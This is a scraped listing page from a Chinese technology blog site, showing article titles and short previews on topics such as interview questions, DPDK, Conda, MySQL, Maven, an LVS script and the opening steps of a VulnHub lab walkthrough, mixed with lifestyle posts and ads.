                        <span class="text-muted">风平浪静如码</span>

                        <div>前言做技术的有一种资历,叫做通过了阿里的面试。这些阿里Java相关问题,都是之前通过不断优秀人才的铺垫总结的,先自己弄懂了再去阿里面试,不然就是去丢脸,被虐。希望对大家帮助,祝面试成功,有个更好的职业规划。一,阿里常见技术面1、微信红包怎么实现。2、海量数据分析。3、测试职位问的线程安全和非线程安全。4、HTTP2.0、thrift。5、面试电话沟通可能先让自我介绍。6、分布式事务一致性。7、ni</div>
                    </li>
                    <li><a href="/article/1950222852074565632.htm"
                           title="2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”" target="_blank">2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”</a>
                        <span class="text-muted">上海云盾商务经理杨杨</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>副标题:从客户端加密到AI反外挂,拆解全链路防护如何重塑游戏攻防天平引言:当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿,黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家,某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗:无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾,正以“源</div>
                    </li>
                    <li><a href="/article/1950219924043526144.htm"
                           title="二十四节气组诗 谷雨" target="_blank">二十四节气组诗 谷雨</a>
                        <span class="text-muted">离陌_6639</span>

                        <div>图片来源网络,若侵犯了你的权益,请联系我删除6.谷雨文/离陌背上行囊背上如行囊的我从此任行程马不停蹄今天家乡的田野春雨快马加鞭播下希望的种子观音不语目送着我和夏天一道在观音山出关图片来源网络,若侵犯了你的权益,请联系我删除你好啊,我是离陌,已然在懵懂中走过了16年的岁月,为了珍惜当下的每一秒,所以立志做一名终身学习者。文学对于我来说是一种信仰,诗歌是我的生命。人生之道,四通八达,即入文学,自当持之</div>
                    </li>
                    <li><a href="/article/1950218817753903104.htm"
                           title="【项目实战】 容错机制与故障恢复:保障系统连续性的核心体系" target="_blank">【项目实战】 容错机制与故障恢复:保障系统连续性的核心体系</a>
                        <span class="text-muted">本本本添哥</span>
<a class="tag" taget="_blank" href="/search/004/1.htm">004</a><a class="tag" taget="_blank" href="/search/-/1.htm">-</a><a class="tag" taget="_blank" href="/search/%E7%A0%94%E6%95%88%E4%B8%8EDevOps%E8%BF%90%E7%BB%B4%E5%B7%A5%E5%85%B7%E9%93%BE/1.htm">研效与DevOps运维工具链</a><a class="tag" taget="_blank" href="/search/002/1.htm">002</a><a class="tag" taget="_blank" href="/search/-/1.htm">-</a><a class="tag" taget="_blank" href="/search/%E8%BF%9B%E9%98%B6%E5%BC%80%E5%8F%91%E8%83%BD%E5%8A%9B/1.htm">进阶开发能力</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a>
                        <div>在分布式系统中,硬件故障、网络波动、软件异常等问题难以避免。容错机制与故障恢复的核心目标是:通过主动检测故障、自动隔离风险、快速转移负载、重建数据一致性,最大限度减少故障对业务的影响,保障系统“持续可用”与“数据不丢失”。以下从核心机制、实现方式、典型案例等维度展开说明。一、故障检测:及时发现异常节点故障检测是容错的第一步,需通过多维度手段实时感知系统组件状态,确保故障被快速识别。1.健康检查与心</div>
                    </li>
                    <li><a href="/article/1950215855858053120.htm"
                           title="善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来" target="_blank">善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来</a>
                        <span class="text-muted">余老师讲健康</span>

                        <div>善吃五色五味,女人更妖娆我们所说的五色五味是指具有赤、青、黄、白、黑五种颜色以及酸、辛、甘、苦、咸五种味道的食物。其实五味和五色与人体的五脏对应,养生必养五脏,通过五味、五色的食物可以调养人的容颜。一、赤色、苦味入心——养颜,面色红润有句话这么说,“会吃的女人更漂亮,贪吃的女人变糟粕。”经过科学、合理搭配的五色五味饮食,就是最天然、最安全的美容药方。赤色——抗衰老,增强免疫力,改善血液循环。赤色即</div>
                    </li>
                    <li><a href="/article/1950215220051898368.htm"
                           title="2019做重要的事,让遗憾减少" target="_blank">2019做重要的事,让遗憾减少</a>
                        <span class="text-muted">Sandy黄珊丹</span>

                        <div>岁末年初,又到了回顾和展望的时间。回顾2018,你有哪些事情没有去做或者没有做到而感到遗憾的呢?2019年我们要怎么做,可以减少遗憾呢?回想自己在2017年以前,一直处在忙碌的家庭和事业中,忙碌让我感到安全,稍微停下脚步都感到是一种罪过,每一件事似乎都很重要。直到2017春节后,因为对未来彷徨和焦虑,让我严重失眠,家庭关系恶化,都让心疲惫无法进入工作状态,不得不寻找解决的的办法。在2017年5月份</div>
                    </li>
                    <li><a href="/article/1950215036291051520.htm"
                           title="北斗短报文兜底、5G-A增强:AORO P1100三防平板构建应急通信网络" target="_blank">北斗短报文兜底、5G-A增强:AORO P1100三防平板构建应急通信网络</a>
                        <span class="text-muted"></span>

                        <div>公网中断的灾区现场,泥石流阻断了最后一条光缆。一支救援队却在废墟间有序穿行,队长手中的三防平板正闪烁着北斗卫星信号,定位坐标与伤亡信息化作一行行短报文,穿透通信孤岛直达指挥中心。这是AOROP1100三防平板搭载的北斗短报文功能在应急救援中的真实场景,更代表了工业移动终端在极端环境下的能力跃迁。AOROP1100三防平板作为遨游通讯2025年推出的旗舰三防设备,AOROP1100三防平板的技术基底</div>
                    </li>
                    <li><a href="/article/1950213901765373952.htm"
                           title="7月29日星期二今日早报简报微语报早读" target="_blank">7月29日星期二今日早报简报微语报早读</a>
                        <span class="text-muted">微语早读</span>
<a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%B4%BB/1.htm">生活</a>
                        <div>7月29日星期二,农历闰六月初五,早报#微语早读。1、国家育儿补贴方案公布!3周岁前每娃每年3600元;2、火狐浏览器官宣关闭北京公司,将终止中国账户服务;3、税务总局:2021年以来查处网络主播偷逃税案件360余起,查补税款30多亿元;4、江苏省体育局:职业俱乐部获男足中超冠军奖补3000万元;5、深圳出现首宗基孔肯雅热病例;6、税务总局:从今年个税汇算看,超1亿纳税人依法申请退税1300多亿,</div>
                    </li>
                    <li><a href="/article/1950213306421669888.htm"
                           title="新家长必修课小贴士—如何做到无条件接纳" target="_blank">新家长必修课小贴士—如何做到无条件接纳</a>
                        <span class="text-muted">SDDE兰</span>

                        <div>2021年6月14日星期一《新父母晨报》【育儿知识】:怎样做才是无条件地接纳孩子呢?在孩子成长的过程当中,来自父母无条件地接纳,是孩子成长的安全基地,是孩子面对任何困难时候的底气。只有被父母无条件接纳的孩子,未来不管遇到什么样的境况,都会感觉有后盾,都能更快地去适应。怎样做才是无条件地接纳孩子呢?有两个非常重要的维度:️接纳孩子的感受✨一个孩子不管他的行为是可爱,还是令人讨厌,他其实都是为了寻求父</div>
                    </li>
                    <li><a href="/article/1950213145742077952.htm"
                           title="02-Breakout靶机攻略" target="_blank">02-Breakout靶机攻略</a>
                        <span class="text-muted">ZLlllllll0</span>
<a class="tag" taget="_blank" href="/search/02-Breakout%E9%9D%B6%E6%9C%BA/1.htm">02-Breakout靶机</a>
                        <div>第一步搭建靶机下载地址:https://download.vulnhub.com/empire/02-Breakout.zip下载好了之后直接用VM打开然后右击虚拟机,把网络连接改成nat模式第二步,信息收集然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址nmap192.168.109.1/24扫</div>
                    </li>
                    <li><a href="/article/1950212799284178944.htm"
                           title="何为社群?" target="_blank">何为社群?</a>
                        <span class="text-muted">ohh_1636</span>

                        <div>一般社会学家与地理学家所指的社群(community),广义而言是指在某些边界线、地区或领域内发生作用的一切社会关系。它可以指实际的地理区域或是在某区域内发生的社会关系,或指存在于较抽象的、思想上的关系,除此之外。Worsley(1987)曾提出社群的广泛涵义:可被解释为地区性的社区;用来表示一个有相互关系的网络;社群可以是一种特殊的社会关系,包含社群精神(communityspirit)或社群情</div>
                    </li>
                    <li><a href="/article/1950212288136933376.htm"
                           title="今日随笔" target="_blank">今日随笔</a>
                        <span class="text-muted">小小林_005b</span>

                        <div>2019.10.21.周一晴全职第436天50+21/day118天【皮皮第118天】1.昨晚闹腾到一点多才安稳入睡,一个晚上一直哭哭闹闹(´;︵;`),没睡一会儿就会惊吓大哭(´;︵;`),一直抱着哄,似乎抱着才更加有安全感才能睡得更好。小胖子越来越重,我的手和腰部有些承受不了,经常腰酸痛到直不起来,好在有黑先生和啊影子下班后有空了就帮我抱一会儿。2.今日排便三次,一次偏向绿色,一两次金黄色。3</div>
                    </li>
                    <li><a href="/article/1950209236877242368.htm"
                           title="严重的DDoS 攻击澳大利亚主要宽带提供商" target="_blank">严重的DDoS 攻击澳大利亚主要宽带提供商</a>
                        <span class="text-muted">Fancy1816575412</span>

                        <div>本周早些时候,澳大利亚最大的固定无线宽带运营商CirrusCommunications遭受了一次重大的DDoS攻击,导致其一半以上的网络瘫痪。该公司在其网站上声称:“强大的架构、数百个传输站点以及光纤和微波回程的使用使其能够以非常高的正常运行时间提供高速”。CirrusCommunications表示,它覆盖了澳大利亚十大人口中心以及几个主要的区域中心,主要为企业和政府客户提供服务。然而,据The</div>
                    </li>
                    <li><a href="/article/1950208107430866944.htm"
                           title="python笔记14介绍几个魔法方法" target="_blank">python笔记14介绍几个魔法方法</a>
                        <span class="text-muted">抢公主的大魔王</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>python笔记14介绍几个魔法方法先声明一下各位大佬,这是我的笔记。如有错误,恳请指正。另外,感谢您的观看,谢谢啦!(1).__doc__输出对应的函数,类的说明文档print(print.__doc__)print(value,...,sep='',end='\n',file=sys.stdout,flush=False)Printsthevaluestoastream,ortosys.std</div>
                    </li>
                    <li><a href="/article/1950208107032408064.htm"
                           title="DPDK 技术详解:榨干网络性能的“瑞士军刀”" target="_blank">DPDK 技术详解:榨干网络性能的“瑞士军刀”</a>
                        <span class="text-muted"></span>

                        <div>你是否曾感觉,即使拥有顶级的服务器和万兆网卡,你的网络应用也总是“喂不饱”硬件,性能总差那么一口气?传统的网络处理方式,就像在高速公路上设置了太多的收费站和检查点,限制了数据包的“奔跑”速度。今天,我们要深入探讨一个能够打破这些瓶颈,让你的网络应用快到飞起的“黑科技”——DPDK(DataPlaneDevelopmentKit,数据平面开发套件)。这不仅仅是一个工具包,更是一种全新的网络处理哲学。</div>
                    </li>
                    <li><a href="/article/1950207970721722368.htm"
                           title="老公的女朋友把我打成小三后,我杀疯了周昊净许青青小说完结推荐_最热门小说 老公的女朋友把我打成小三后,我杀疯了周昊净许青青" target="_blank">老公的女朋友把我打成小三后,我杀疯了周昊净许青青小说完结推荐_最热门小说 老公的女朋友把我打成小三后,我杀疯了周昊净许青青</a>
                        <span class="text-muted">小富江呀</span>

                        <div>《老公的女朋友把我打成小三后,我杀疯了》主角:周昊净许青青简介:只因跟老公说了几句情话,就被老公的‘女朋友’当成小三。她带着一群自诩为“惩治小三联盟”的网络判官冲进了我家。“怎么,有脸当小三,没脸承认?”“从你当小三的那一刻起,就该想到会有被人收拾的一天!”“我们网络判官专治道德败坏的贱人!”这群人一边疯狂大骂,一边愤怒打砸。看着狼藉不堪的家,我面色平静地给公司法务部发去消息。“按照婚前协议,拟一</div>
                    </li>
                    <li><a href="/article/1950207853105049600.htm"
                           title="【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)" target="_blank">【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)</a>
                        <span class="text-muted">AI_DL_CODE</span>
<a class="tag" taget="_blank" href="/search/Coze%E5%B9%B3%E5%8F%B0/1.htm">Coze平台</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%AF%9D%E6%B5%81%E8%AE%BE%E8%AE%A1/1.htm">对话流设计</a><a class="tag" taget="_blank" href="/search/%E5%AE%A2%E6%9C%8DBot%E9%81%BF%E5%9D%91/1.htm">客服Bot避坑</a><a class="tag" taget="_blank" href="/search/%E7%94%A8%E6%88%B7%E6%B5%81%E5%A4%B1/1.htm">用户流失</a><a class="tag" taget="_blank" href="/search/%E5%B0%81%E5%8F%B7%E9%A3%8E%E9%99%A9/1.htm">封号风险</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D%E9%85%8D%E7%BD%AE/1.htm">智能客服配置</a><a class="tag" taget="_blank" href="/search/%E6%95%85%E9%9A%9C%E4%BF%AE%E5%A4%8D%E6%8C%87%E5%8D%97/1.htm">故障修复指南</a>
                        <div>摘要:对话流设计是智能客服Bot能否落地的核心环节,直接影响用户体验与业务安全。本文基于50+企业Bot部署故障分析,聚焦导致用户流失、投诉甚至封号的6大致命错误:无限循环追问、人工移交超时、敏感词过滤缺失、知识库冲突、未处理否定意图、跨平台适配失败。通过真实案例拆解每个错误的表现形式、技术根因及工业级解决方案,提供可直接复用的Coze配置代码、工作流模板和检测工具。文中包含对话流健康度检测工具使</div>
                    </li>
                    <li><a href="/article/1950207854388506624.htm"
                           title="深入理解 Tomcat Wrapper 原理" target="_blank">深入理解 Tomcat Wrapper 原理</a>
                        <span class="text-muted">北漂老男人</span>
<a class="tag" taget="_blank" href="/search/Tomcat/1.htm">Tomcat</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>深入理解TomcatWrapper原理一、引言在Tomcat的分层容器架构中,Wrapper作为最底层的容器,专门负责管理单个Servlet的生命周期及请求分发。每一个Servlet(包括JSP、Filter等)都对应一个Wrapper。Wrapper是Servlet规范与Tomcat容器实现之间的桥梁,直接关系到请求的分发效率、Servlet的加载与重用、安全隔离等。本文将系统剖析Wrapper</div>
                    </li>
                    <li><a href="/article/1950207097023033344.htm"
                           title="Pktgen-DPDK:开源网络测试工具的深度解析与应用" target="_blank">Pktgen-DPDK:开源网络测试工具的深度解析与应用</a>
                        <span class="text-muted">艾古力斯</span>

                        <div>本文还有配套的精品资源,点击获取简介:Pktgen-DPDK是基于DPDK的高性能流量生成工具,适用于网络性能测试、硬件验证及协议栈开发。它支持多种网络协议,能够模拟高吞吐量的数据包发送。本项目通过利用DPDK的高速数据包处理能力,允许用户自定义数据包内容,并实现高效的数据包管理与传输。文章将指导如何安装DPDK、编译Pktgen、配置工具以及使用方法,最终帮助开发者和网络管理员深入理解并优化网络</div>
                    </li>
                    <li><a href="/article/1950204954295726080.htm"
                           title="Anaconda 和 Miniconda:功能详解与选择建议" target="_blank">Anaconda 和 Miniconda:功能详解与选择建议</a>
                        <span class="text-muted">古月฿</span>
<a class="tag" taget="_blank" href="/search/python%E5%85%A5%E9%97%A8/1.htm">python入门</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/conda/1.htm">conda</a>
                        <div>Anaconda和Miniconda详细介绍一、Anaconda的详细介绍1.什么是Anaconda?Anaconda是一个开源的包管理和环境管理工具,在数据科学、机器学习以及科学计算领域发挥着关键作用。它以Python和R语言为基础,为用户精心准备了大量预装库和工具,极大地缩短了搭建数据科学环境的时间。对于那些想要快速开展数据分析、模型训练等工作的人员来说,Anaconda就像是一个一站式的“数</div>
                    </li>
                    <li><a href="/article/1950204701714739200.htm"
                           title="环境搭建 | Python + Anaconda / Miniconda + PyCharm 的安装、配置与使用" target="_blank">环境搭建 | Python + Anaconda / Miniconda + PyCharm 的安装、配置与使用</a>
                        <span class="text-muted"></span>

                        <div>本文将分别介绍Python、Anaconda/Miniconda、PyCharm的安装、配置与使用,详细介绍Python环境搭建的全过程,涵盖Python、Pip、PythonLauncher、Anaconda、Miniconda、Pycharm等内容,以官方文档为参照,使用经验为补充,内容全面而详实。由于图片太多,就先贴一个无图简化版吧,详情请查看Python+Anaconda/Minicond</div>
                    </li>
                    <li><a href="/article/1950204010703155200.htm"
                           title="盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!" target="_blank">盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!</a>
                        <span class="text-muted">古楼</span>

                        <div>副业兼职做什么好呢?适合上班族的6个副业?不少上班族薪资不高,加薪无望,就希望搞副业多挣点钱,不仅能打消下班的空闲时间,还能丰富自己的生活,还能赚点钱补贴家用。那么有什么适合上班族的副业,既不占用上班的时间,又不会消耗太多的精力影响第二天上班。这里我总结了6个适合上班族的副业,提供给大家,希望有所帮助。第一款优惠劵导购平台,零投资,安全可靠高省APP,是2022年推出的平台,0投资,0风险、高省A</div>
                    </li>
                    <li><a href="/article/1950202938265759744.htm"
                           title="你竟然还在用克隆删除?Conda最新版rename命令全攻略!" target="_blank">你竟然还在用克隆删除?Conda最新版rename命令全攻略!</a>
                        <span class="text-muted">曦紫沐</span>
<a class="tag" taget="_blank" href="/search/Python%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">Python基础知识</a><a class="tag" taget="_blank" href="/search/conda/1.htm">conda</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E7%AE%A1%E7%90%86/1.htm">虚拟环境管理</a>
                        <div>文章摘要Conda虚拟环境管理终于迎来革命性升级!本文揭秘Conda4.9+版本新增的rename黑科技,彻底告别传统“克隆+删除”的繁琐操作。从命令解析到实战案例,手把手教你如何安全高效地重命名Python虚拟环境,附带版本检测、环境迁移、故障排查等进阶技巧,助你提升开发效率10倍!一、颠覆认知:Conda居然自带重命名功能?很多开发者仍停留在“Conda无法直接重命名环境”的认知阶段,实际上自</div>
                    </li>
                    <li><a href="/article/1950202869147824128.htm"
                           title="链商拉不到人能赚钱么,谈谈我的看法" target="_blank">链商拉不到人能赚钱么,谈谈我的看法</a>
                        <span class="text-muted">糖葫芦不甜</span>

                        <div>链商作为一种新兴的商业形态,往往依赖于用户网络的扩展和交易量的增加来实现价值增长,但这并不意味着没有直接拉新就无法盈利。以下是我对这一问题的几点看法:招合作伙伴↓微信在文章底部。首先,链商能否赚钱,关键在于其是否能提供独特且有价值的产品或服务。如果链商平台能够构建出高效、透明、安全的价值交换体系,解决行业痛点,提升用户体验,那么即使没有大规模的拉新活动,也能通过现有用户的口碑传播和持续使用来产生稳</div>
                    </li>
                                <li><a href="/article/23.htm"
                                       title="HttpClient 4.3与4.3版本以下版本比较" target="_blank">HttpClient 4.3与4.3版本以下版本比较</a>
                                    <span class="text-muted">spjich</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/httpclient/1.htm">httpclient</a>
                                    <div>网上利用java发送http请求的代码很多,一搜一大把,有的利用的是java.net.*下的HttpURLConnection,有的用httpclient,而且发送的代码也分门别类。今天我们主要来说的是利用httpclient发送请求。 
httpclient又可分为 
 
 httpclient3.x 
 httpclient4.x到httpclient4.3以下 
 httpclient4.3</div>
                                </li>
                                <li><a href="/article/150.htm"
                                       title="Essential Studio Enterprise Edition 2015 v1新功能体验" target="_blank">Essential Studio Enterprise Edition 2015 v1新功能体验</a>
                                    <span class="text-muted">Axiba</span>
<a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a>
                                    <div>概述:Essential Studio已全线升级至2015 v1版本了!新版本为JavaScript和ASP.NET MVC添加了新的文件资源管理器控件,还有其他一些控件功能升级,精彩不容错过,让我们一起来看看吧! 
syncfusion公司是世界领先的Windows开发组件提供商,该公司正式对外发布Essential Studio Enterprise Edition 2015 v1版本。新版本</div>
                                </li>
                                <li><a href="/article/277.htm"
                                       title="[宇宙与天文]微波背景辐射值与地球温度" target="_blank">[宇宙与天文]微波背景辐射值与地球温度</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E8%83%8C%E6%99%AF/1.htm">背景</a>
                                    <div> 
 
 
        宇宙这个庞大,无边无际的空间是否存在某种确定的,变化的温度呢? 
 
     如果宇宙微波背景辐射值是表示宇宙空间温度的参数之一,那么测量这些数值,并观测周围的恒星能量输出值,我们是否获得地球的长期气候变化的情况呢? 
 
 
  &nbs</div>
                                </li>
                                <li><a href="/article/404.htm"
                                       title="lvs-server" target="_blank">lvs-server</a>
                                    <span class="text-muted">男人50</span>
<a class="tag" taget="_blank" href="/search/server/1.htm">server</a>
                                    <div>#!/bin/bash 
# 
# LVS script for VS/DR 
# 
#./etc/rc.d/init.d/functions 
# 
VIP=10.10.6.252 
RIP1=10.10.6.101 
RIP2=10.10.6.13 
PORT=80 
case $1 in 
start) 
 
  /sbin/ifconfig eth2:0 $VIP broadca</div>
                                </li>
                                <li><a href="/article/531.htm"
                                       title="java的WebCollector爬虫框架" target="_blank">java的WebCollector爬虫框架</a>
                                    <span class="text-muted">oloz</span>
<a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a>
                                    <div>WebCollector主页: 
https://github.com/CrawlScript/WebCollector 
 
下载:webcollector-版本号-bin.zip将解压后文件夹中的所有jar包添加到工程既可。 
 
接下来看demo 
package org.spider.myspider;

import cn.edu.hfut.dmic.webcollector.cra</div>
                                </li>
                                <li><a href="/article/658.htm"
                                       title="jQuery append 与 after 的区别" target="_blank">jQuery append 与 after 的区别</a>
                                    <span class="text-muted">小猪猪08</span>

                                    <div>1、after函数 
定义和用法: 
after() 方法在被选元素后插入指定的内容。 
语法: 
$(selector).after(content) 
实例: 
<html> 
<head> 
<script type="text/javascript" src="/jquery/jquery.js"></scr</div>
                                </li>
                                <li><a href="/article/785.htm"
                                       title="mysql知识充电" target="_blank">mysql知识充电</a>
                                    <span class="text-muted">香水浓</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>索引  
索引是在存储引擎中实现的,因此每种存储引擎的索引都不一定完全相同,并且每种存储引擎也不一定支持所有索引类型。 
 
根据存储引擎定义每个表的最大索引数和最大索引长度。所有存储引擎支持每个表至少16个索引,总索引长度至少为256字节。 
 
大多数存储引擎有更高的限制。MYSQL中索引的存储类型有两种:BTREE和HASH,具体和表的存储引擎相关; 
 
MYISAM和InnoDB存储引擎</div>
                                </li>
                                <li><a href="/article/912.htm"
                                       title="我的架构经验系列文章索引" target="_blank">我的架构经验系列文章索引</a>
                                    <span class="text-muted">agevs</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                                    <div>下面是一些个人架构上的总结,本来想只在公司内部进行共享的,因此内容写的口语化一点,也没什么图示,所有内容没有查任何资料是脑子里面的东西吐出来的因此可能会不准确不全,希望抛砖引玉,大家互相讨论。 
要注意,我这些文章是一个总体的架构经验不针对具体的语言和平台,因此也不一定是适用所有的语言和平台的。 
(内容是前几天写的,现附上索引) 
  
 
 前端架构 http://www.</div>
                                </li>
                                <li><a href="/article/1039.htm"
                                       title="Android so lib库远程http下载和动态注册" target="_blank">Android so lib库远程http下载和动态注册</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/andorid/1.htm">andorid</a>
                                    <div>一、背景 
  
   在开发Android应用程序的实现,有时候需要引入第三方so lib库,但第三方so库比较大,例如开源第三方播放组件ffmpeg库, 如果直接打包的apk包里面, 整个应用程序会大很多.经过查阅资料和实验,发现通过远程下载so文件,然后再动态注册so文件时可行的。主要需要解决下载so文件存放位置以及文件读写权限问题。 
  
二、主要</div>
                                </li>
                                <li><a href="/article/1166.htm"
                                       title="linux中svn配置出错 conf/svnserve.conf:12: Option expected 解决方法" target="_blank">linux中svn配置出错 conf/svnserve.conf:12: Option expected 解决方法</a>
                                    <span class="text-muted">baalwolf</span>
<a class="tag" taget="_blank" href="/search/option/1.htm">option</a>
                                    <div>在客户端访问subversion版本库时出现这个错误: 
svnserve.conf:12: Option expected 
为什么会出现这个错误呢,就是因为subversion读取配置文件svnserve.conf时,无法识别有前置空格的配置文件,如### This file controls the configuration of the svnserve daemon, if you##</div>
                                </li>
                                <li><a href="/article/1293.htm"
                                       title="MongoDB的连接池和连接管理" target="_blank">MongoDB的连接池和连接管理</a>
                                    <span class="text-muted">BigCat2013</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>在关系型数据库中,我们总是需要关闭使用的数据库连接,不然大量的创建连接会导致资源的浪费甚至于数据库宕机。这篇文章主要想解释一下mongoDB的连接池以及连接管理机制,如果正对此有疑惑的朋友可以看一下。 
通常我们习惯于new 一个connection并且通常在finally语句中调用connection的close()方法将其关闭。正巧,mongoDB中当我们new一个Mongo的时候,会发现它也</div>
                                </li>
                                <li><a href="/article/1420.htm"
                                       title="AngularJS使用Socket.IO" target="_blank">AngularJS使用Socket.IO</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/Socket.IO/1.htm">Socket.IO</a>
                                    <div>        目前,web应用普遍被要求是实时web应用,即服务端的数据更新之后,应用能立即更新。以前使用的技术(例如polling)存在一些局限性,而且有时我们需要在客户端打开一个socket,然后进行通信。 
        Socket.IO(http://socket.io/)是一个非常优秀的库,它可以帮你实</div>
                                </li>
                                <li><a href="/article/1547.htm"
                                       title="[Maven学习笔记四]Maven依赖特性" target="_blank">[Maven学习笔记四]Maven依赖特性</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>三个模块 
为了说明问题,以用户登陆小web应用为例。通常一个web应用分为三个模块,模型和数据持久化层user-core, 业务逻辑层user-service以及web展现层user-web, 
user-service依赖于user-core 
user-web依赖于user-core和user-service 
  
依赖作用范围 
 Maven的dependency定义</div>
                                </li>
                                <li><a href="/article/1674.htm"
                                       title="【Akka一】Akka入门" target="_blank">【Akka一】Akka入门</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/akka/1.htm">akka</a>
                                    <div>什么是Akka 
Message-Driven Runtime is the Foundation to Reactive Applications 
In Akka, your business logic is driven through message-based communication patterns that are independent of physical locatio</div>
                                </li>
                                <li><a href="/article/1801.htm"
                                       title="zabbix_api之perl语言写法" target="_blank">zabbix_api之perl语言写法</a>
                                    <span class="text-muted">ronin47</span>
<a class="tag" taget="_blank" href="/search/zabbix_api%E4%B9%8Bperl/1.htm">zabbix_api之perl</a>
                                    <div>zabbix_api网上比较多的写法是python或curl。上次我用java--http://bossr.iteye.com/blog/2195679,这次用perl。for example:   #!/usr/bin/perl 
 
 use 5.010 ; 
 use strict ; 
 use warnings ; 
 use JSON :: RPC :: Client ; 
 use </div>
                                </li>
                                <li><a href="/article/1928.htm"
                                       title="比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在!" target="_blank">比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在!</a>
                                    <span class="text-muted">brotherlamp</span>
<a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88/1.htm">linux运维工程师</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%95%99%E7%A8%8B/1.htm">linux运维工程师教程</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%A7%86%E9%A2%91/1.htm">linux运维工程师视频</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%B5%84%E6%96%99/1.htm">linux运维工程师资料</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%87%AA%E5%AD%A6/1.htm">linux运维工程师自学</a>
                                    <div>比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在! 
  
----------------------------------------------------- 
兄弟连Linux运维工程师课堂实录-计算机基础-1-课程体系介绍1 
链接:http://pan.baidu.com/s/1i3GQtGL 密码:bl65 
  
兄弟连Lin</div>
                                </li>
                                <li><a href="/article/2055.htm"
                                       title="bitmap求哈密顿距离-给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(" target="_blank">bitmap求哈密顿距离-给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
import java.util.Random;

/**
 * 题目:
 * 给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(y1,y2,y3,y4,y5),
 * 使得他们的哈密顿距离(d=|x1-y1| + |x2-y2| + |x3-y3| + |x4-y4| + |x5-y5|)最大</div>
                                </li>
                                <li><a href="/article/2182.htm"
                                       title="map的三种遍历方法" target="_blank">map的三种遍历方法</a>
                                    <span class="text-muted">chicony</span>
<a class="tag" taget="_blank" href="/search/map/1.htm">map</a>
                                    <div>  
package com.test;

import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;

public class TestMap {
    public static v</div>
                                </li>
                                <li><a href="/article/2309.htm"
                                       title="Linux安装mysql的一些坑" target="_blank">Linux安装mysql的一些坑</a>
                                    <span class="text-muted">chenchao051</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
